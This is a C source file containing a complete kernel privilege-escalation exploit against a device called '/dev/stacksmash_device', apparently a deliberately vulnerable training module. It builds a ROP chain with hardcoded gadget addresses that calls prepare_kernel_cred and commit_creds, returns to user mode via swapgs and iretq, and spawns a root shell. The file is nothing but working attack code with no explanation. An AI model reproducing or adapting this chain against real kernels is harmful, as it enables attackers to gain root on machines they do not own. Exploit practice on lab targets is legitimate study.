#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define DEVICE_NAME "/dev/stacksmash_device"

int64_t user_cs, user_rflags, user_rsp, user_ss;

void save_registers() {
  asm("movq %%cs, %[user_cs]\n"
      "movq %%ss, %[user_ss]\n"
      "movq %%rsp, %[user_rsp]\n"
      "pushfq\n"
      "popq %[user_rflags]\n"
      : [user_cs] "=r"(user_cs), [user_ss] "=r"(user_ss),
        [user_rsp] "=r"(user_rsp), [user_rflags] "=r"(user_rflags));
}

void shell() { system("/bin/sh"); }

int main(int argc, char **argv) {
  save_registers();
  int ret, fd;
  uint64_t payload[] = {
      0x1,
      0x2,
      0x3,
      0x4,
      0x5,
      0xffffffff8103fb8d, /* pop rdi; ret */
      0x0,
      0xffffffff810c5900, /* prepare_kernel_cred */
      0xffffffff813db97a, /* pop rcx; ret */
      0x0,
      0xffffffff81b1d5cf, /* mov rdi, rax ; xor eax, eax ; rep movsb byte ptr
                             [rdi], byte ptr [rsi] ; ret */
      0xffffffff810c5490, /* commit_creds */
      0xffffffff81075f84, /* swapgs; pop rbp; ret */
      0x0,
      0xffffffff8186b847, /* iretq ; */
      (uint64_t)shell, /* rip */
      user_cs,
      user_rflags,
      user_rsp,
      user_ss};

  fd = open(DEVICE_NAME, O_RDWR);
  if (fd < 0) {
    puts("Failed to open device\n");
    return (-1);
  }
  ret = write(fd, payload, sizeof(payload));
  if (ret < 0) {
    puts("Failed to write to device\n");
    return (-1);
  }

  return (0);
}
